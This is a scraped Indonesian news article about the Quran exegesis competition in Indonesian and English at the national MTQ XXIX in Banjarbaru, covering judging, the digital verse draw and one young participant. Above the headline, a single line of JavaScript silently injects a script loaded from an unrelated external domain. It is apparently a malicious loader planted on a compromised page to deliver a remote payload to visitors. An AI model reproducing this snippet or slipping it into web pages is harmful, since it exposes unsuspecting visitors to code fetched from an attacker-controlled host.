(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

MTQ XXIX Kalsel Cabang Tafsir Bahasa Indonesia dan Bahasa Inggris Dimulai

KANALKALIMANTAN.COM, BANJARBARU – Perhelatan Musabaqah Tilawatil Qur’an (MTQ) Tingkat Nasionan ke XXIX tahun 2022 di Kalimantan Selatan resmi dimulai, berbagai cabang lomba di MTQ Tingkat Nasional ke XXIX dimulai sejak, Kamis (13/10/2022).

Salah satunya Cabang Lomba Tafsir Bahasa Indonesia dan Bahasa Inggris yang berlokasi di Asrama Haji Embarkasi Banjarbaru.

Pada hari pertama diikuti 24 peserta dengan 13 orang Dewan Hakim yang akan menilai keseluruhan peserta.

Penanggung Jawab Cabang Lomba Tafsir Bahasa Indonesia dan Bahasa Arab, Faisal mengatakan, ada 13 Dewan Hakim yang akan menilai keseluruhan peserta.

“Jadi ada yang menilai khusus bagian hafalannya dan ada yang menilai khusus tafsirnya. Ada 4 pertanyaan hafalan baru tafsirnya,” katanya.

Dilanjutkannya terkait ayat, kata Faisal peserta mendapat ayat acara sesuai undian digital.

“Ayatnya acak, mereka mencabut diundi dan undiannya digital jadi tidak bisa ada permainan pengaturan paket soalnya,” tegasnya.

Dijelaskannya peserta Cabang Lomba Tafsir Bahasa Indonesia harus hafal 30 juz dan Bahasa Inggris 15 juz.

Pada lomba ini peserta dibagi menjadi dua, khusus Tafsir Alquran Bahasa Inggris, dimulai dari pukul 08.00 sampai 12.00 Wita.

Lalu kemudian dilanjutkan Tafsir Al-Quran Bahasa Inggris, dimulai pukul 13.00 sampai 17.00 wita.

“Perharinya ada 24 peserta lomba, 12 tafsir Indonesia dan 12 Bahasa Inggris. Itu sudah termasuk putra-putri,” tuntasnya.

Cabang Lomba Tafsir Bahasa Arab dan Bahasa Inggris terbuka untuk umum, panitia menyediakan monitor besar dibagian luar tempat pertandingan juga bangku bagi masyarakat yang ingin menonton.

Sementara itu, salah seorang peserta lomba Tafsir Al-Qur’an Bahasa Inggris dari Provinsi Kepulauan Riau Muhammad Hasanain Helmi (16) mengatakan, ini merupakan pertama kalinya mengikuti lomba MTQ ditinggkat Nasional.

“Kemarin persiapan untuk ikut lomba ini mendakak, jadi saya baru latihan kira-kira 10 bulan aja dan pertama kalinya saya ikut dicabang ini. Juga baru pertama kali ditingkat Nasional” katanya.

Dirinya tidak berharap untuk menang. Baginya sudah bisa tampil di MTQ Nasional merupakan sebuah pencapaian terbaik.

“Tidak terlalu berharap kali untuk menang, yang penting alhamdulillah sudah bisa tampil dan memberikan yang terbaik,” tandasnya.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : cell